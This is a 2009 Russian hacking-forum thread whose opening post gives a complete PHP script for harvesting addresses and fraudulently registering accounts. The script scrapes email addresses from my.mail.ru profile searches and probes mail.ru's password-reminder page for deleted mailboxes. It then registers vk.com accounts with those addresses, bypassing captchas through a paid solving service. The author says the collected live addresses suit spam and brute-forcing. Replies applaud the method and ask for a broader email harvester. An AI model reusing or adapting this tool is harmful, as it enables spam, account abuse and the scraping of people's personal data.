ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

почти реггер вконтакта=))
  #1  
Старый 16.10.2009, 20:40
zifanchuck
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393

Репутация: 464
Отправить сообщение для zifanchuck с помощью ICQ
По умолчанию почти реггер вконтакта=))

Типа Интро = )

Все знают что Вконтакте.ру ввел ограничения и теперь чтобы зарегистрироваться нужно получить код по смс и ввести его на сайте и на один номер может быть только одна регистрация. Все регеры подохли, вконтакте быстро банит то что у нас осталось нареганого и нам остаеться только покупать аки с фейка, но они тоже живут не очень долго так как юзера меняют пароли.
Если вы думаете что можно будет поиметь кучу аков то должен вас расстроить тем способом что описан будет ниже можно получить не много аков, но там будет некоторый плюс.
Типа История

Сижу я вообщим на ачате, читаю разную муть. И тут мне приходит сообщения от Кусто с просьбой написать скрипт (я тогда писал скрипты за отзыв). В письме он изложил полную картину того как должен работать скрипт. Тема реально новая и до такого я бы не додумался =)

Суть скрипта

По сколько мы не можем просто зарегать акаунт то нужно искать окольные пути, как раз Кусто нашел.
Есть такой сервис МойМир (my.mail.ru) от всем знакомого нам почтовика mail.ru . При регистрации нам создаеться автоматически МойМир даже если мы им не пользуемся. Сам почтовик удаляет емейлы если им не пользовались больше 3 месяцев, но МойМир остаеться даже есть емейл сдох. Начинаете улавливать мысль ? Тоисть если найди всех «Насть» и проверить мыла то может где-то найдем свободный. Логично? А может этот мыльний есть вконтакте???
Вот Кусто и попросил меня написать скрипт который ищет всех «Насть» берет мыльник, проверяет, если он свободен то проверяет его вконтакте, если там он занят то записывает в файл.
Скрипт написал. Все занятые мыла бросает в бед.тхт (может пригодиться для спама, брута), свободные мыла в гуд.тхт, а те что свободные и есть вконтакте записывает в веригуд.тхт
Но есть здесь недостаток. Например оно чекнуло акаунт и он был свободен, то при повторном чеке этого ака он будет лететь в гуд =(


Вот сам скрипт


PHP код:
<form method="POST">
<center>
email:<input type="text" name="email"><br>
pass:<input type="text" name="pass"><br>
Имя:<input type="text" name="name"><br>
Фамилия:<input type="text" name="surname"><br>
<input type=submit value="НАчать РАботать!!!">
</center>

<?php

//скрипт для поиска юзеров в МоемМире, выдерание мыла, проверка на занятость, потом чек свободных в вконтакте.
//с поддержкой антикаптчи.

set_time_limit(0);

////////////////////////////////////////////

function curl($url,$post)
{
$cfile 'cookies.txt';
$ch curl_init();
curl_setopt($chCURLOPT_RETURNTRANSFER1);
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_HEADER0);
curl_setopt($chCURLOPT_POSTFIELDS$post);
curl_setopt($chCURLOPT_COOKIEJAR$cfile);
curl_setopt($chCURLOPT_COOKIEFILE$cfile);
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
curl_setopt($chCURLOPT_POST1);
$result curl_exec($ch);
curl_close($ch);
return 
$result;
};

///////////////////////////////

    
function add_file($path,$page_body)
{
   
$file=fopen($path,"a+");
    
fputs($file,$page_body);

   
// close out file
   
fclose($file);
}

//////////////////////////////


 
function recognize($filename$apikey$is_verbose true$rtimeout 3$mtimeout 200$is_phrase 0$is_regsense 1$is_numeric 0$min_len 0$max_len 0)
{
    if (!
file_exists($filename))
    {
        if (
$is_verbose) echo "file $filename not found\n";
        return 
false;
    }
    
$postdata = array(
        
'method'    => 'post',
        
'key'       => $apikey,
        
'file'      => '@'.$filename//полный путь к файлу
        
'phrase'    => $is_phrase,
        
'regsense'    => $is_regsense,
        
'numeric'    => $is_numeric,
        
'min_len'    => $min_len,
        
'max_len'    => $max_len,

    );
    
$ch curl_init();
    
curl_setopt($chCURLOPT_URL,             'http://ac-service.info/in.php');
    
curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
    
curl_setopt($chCURLOPT_TIMEOUT,             60);
    
curl_setopt($chCURLOPT_POST,                 1);
    
curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
    
$result curl_exec($ch);
    if (
curl_errno($ch))
    {
        if (
$is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
        return 
false;
    }
    
curl_close($ch);
    if (
strpos($result"ERROR")!==false)
    {
        if (
$is_verbose) echo "server returned error: $result\n";
        return 
false;
    }
    else
    {
        
$ex explode("|"$result);
        
$captcha_id $ex[1];
        if (
$is_verbose) echo "ID $captcha_id \n";
        
$waittime 0;
        if (
$is_verbose) echo "<br>sleep $rtimeout \n";
        
sleep($rtimeout);
        while(
true)
        {
            
$result file_get_contents('http://ac-service.info/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
            if (
strpos($result'ERROR')!==false)
            {
                if (
$is_verbose) echo "server returned error: $result\n";
                return 
false;
            }
            if (
$result=="CAPCHA_NOT_READY")
            {
                if (
$is_verbose) echo "<br>captcha is not ready yet\n";
                
$waittime += $rtimeout;
                if (
$waittime>$mtimeout)
                {
                    if (
$is_verbose) echo "<br>timelimit ($mtimeout) hit\n";
                    break;
                }
                if (
$is_verbose) echo "<br>waiting for $rtimeout seconds\n";
                
sleep($rtimeout);
            }
            else
            {
                
$ex explode('|'$result);
                if (
trim($ex[0])=='OK') return trim($ex[1]);
                echo 
'<br>'.$ex[1];
            }
        }

        return 
false;
    }
}


///////////////////////////////////////

$email $_POST['email'];
$pass $_POST['pass'];
$name $_POST['name'];
$surname $_POST['surname'];

$ak ''// Антикаптча ключ

if(!$email||!$pass){exit('Введите даные');}

list(
$login$domain) = explode("@"$email);
$result curl("http://win.mail.ru/cgi-bin/auth""Login=".$login."&Domain=".$domain."&Password=".$pass);

for(
$page=1$page<=10000$page++)
  {
    
$result curl("http://my.mail.ru/my/search?page=".$page."&search=1&typeSimple=1&type=1&query=&firstname=".$name."&country=&lastname=".$surname."&city=""");
    if (
preg_match('#К сожалению(.*)#iU',$result,$avtoriz))
    {
        
$page 10001;
    }
    else
    {
    
preg_match_all ('#my\.mail\.ru\/mail\/(.*)\/#iU'$result$regs);
    
$regs $regs[1];
    
$count count($regs);

    for(
$i=15$i<=$count$i++)
     {
        
$i++;
        
$result curl("http://my.mail.ru/mail/".$regs[$i], "");
        
preg_match_all ('#gifts\?send=(.*)\"#iU'$result$re);
        
$checkemail $re[1][0];
        if(!
$checkemail){}
        else
       {
        list(
$login$domain) = explode("@",$checkemail);
        
$result curl("http://win.mail.ru/cgi-bin/passremind""action=login&Username=".$login."&Domain=".$domain);
        
$z=strpos($result"Пользователь отсутствует.");
        if (
$z !== false)
         {
             
add_file("good.txt"$checkemail."\r\n");

            
$result curl('http://vk.com/reg0?act=register&first_name='.$login.'&last_name='.$login.'&regemail='.$checkemail.'&regpass='.$login.'&country=1&timezone=4''');
    if(
strstr($result"captcha_sid"))
    {
            
preg_match_all ('#captcha_sid\"\:\"(.*)\",\"text"#iU'$result$regs);
            
$sid $regs[1][0];
            
$result curl("http://vk.com/captcha.php?s=1&sid=".$sid,"");
            
file_put_contents('cap.jpg',$result);
            
$captcha=recognize('Z:/home/norm/www/cap.jpg' ,$ak);
            
$result curl('http://vkontakte.ru/reg.php''act=register&first_name='.$login.'&last_name='.$login.'&regemail='.$checkemail.'&regpass='.$login.'&country=1&timezone=4&by_login=0&captcha_sid='.$sid.'&captcha_key='.$captcha);

           if(
strstr($result,'login.php?email='))
        {
             
add_file("varygood.txt"$checkemail."\r\n");
        }
    }
    else
    {
        if(
strstr($result,'login.php?email='))
        {
             
add_file("verygood.txt"$checkemail."\r\n");
        }

    }
        }
        else
        {
            
add_file("bad.txt"$checkemail."\r\n");
        }
       
sleep(30);
       }
     }
    }
  }
?>

Нужно в самом коде добавить антикаптчакей (вконтакте раз гдето в 5 раз выскакивает каптча). Потом когда запустите его через браузер введите логин и пасс для МойМир и фамилию или имя.

П.С Автор идеи (Кусто) не против того что я написал статью
 
Ответить с цитированием

  #2  
Старый 16.10.2009, 20:44
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию

Хм, идея действительно интерестная и оригинальная. Молодец Кусто, молодец zifanchuck.
 
Ответить с цитированием

  #3  
Старый 16.10.2009, 20:51
Kusto
Moderator - Level 7
Регистрация: 04.02.2007
Сообщений: 554
Провел на форуме:
7518056

Репутация: 1089


Отправить сообщение для Kusto с помощью ICQ
По умолчанию

Кстати могу сказать что сейчас будут многие использовать данный способ и кричать потом что мало акков и т д, Но незабывайте, что прежде чем выложить скрипт сюда им пользовались)) Да и счас начнеться)) Так что выбирайте имена типа Зульфия или Розалина))), т к счас всех Тань, Кать, Маш прочекают))
 
Ответить с цитированием

  #4  
Старый 16.10.2009, 21:01
min7
Участник форума
Регистрация: 03.09.2005
Сообщений: 123
Провел на форуме:
1896022

Репутация: 259
По умолчанию

Хорошая тема, но скоро видимо стухнет, нечего чекать будет)
 
Ответить с цитированием

  #5  
Старый 16.10.2009, 21:02
zifanchuck
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393

Репутация: 464
Отправить сообщение для zifanchuck с помощью ICQ
По умолчанию

Ставьте + Кусто)) без него бы этого не было ))
 
Ответить с цитированием

  #6  
Старый 16.10.2009, 21:09
.ATK
Участник форума
Регистрация: 20.02.2009
Сообщений: 224
Провел на форуме:
5075819

Репутация: 274
По умолчанию

Тееемаа) молодец кусто!
 
Ответить с цитированием

  #7  
Старый 16.10.2009, 22:08
-= PeReC =-
Новичок
Регистрация: 29.01.2009
Сообщений: 23
Провел на форуме:
1877825

Репутация: 13
По умолчанию

Была подобная мысль, юзая ретривер Пухового.
 
Ответить с цитированием

  #8  
Старый 16.10.2009, 22:48
famnam
Познающий
Регистрация: 13.04.2008
Сообщений: 35
Провел на форуме:
177699

Репутация: 1
По умолчанию

я как раз подобное думал, тока пива выпил и забил ))) ... молодцы!
 
Ответить с цитированием

  #9  
Старый 16.10.2009, 23:39
Sharky
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739

Репутация: 921


Отправить сообщение для Sharky с помощью ICQ
По умолчанию

хорошая идея) молодцы)
 
Ответить с цитированием

  #10  
Старый 24.01.2010, 21:54
nonamez
Познавший АНТИЧАТ
Регистрация: 22.07.2007
Сообщений: 1,291
Провел на форуме:
3884427

Репутация: 766


Отправить сообщение для nonamez с помощью ICQ
По умолчанию

Тс,а мог бы чуть переделать свой софт и сделать просто сбор эмайлов по странам из моего мира? Без проверки вк -Просто сбор по странам.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Почти два миллиона компьютеров в мире находятся под контролем хакеров Jardon Мировые новости 16 11.05.2009 12:27
Почти половина российских пользователей не променяют интернет на еду root_sashok Мировые новости 15 10.05.2009 18:38
Кто может на писать реггер loveplanet.ru Qisse PHP, PERL, MySQL, JavaScript 3 16.01.2009 13:47
Интернет через gprs, почти даром! =Be$= Беспроводные технологии/WPAN/WLAN 33 07.12.2006 01:54
Мировой регистратор заблокировал почти 1,4 тыс. доменов российского провайдера cyberlife Мировые новости 7 17.06.2006 16:49



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ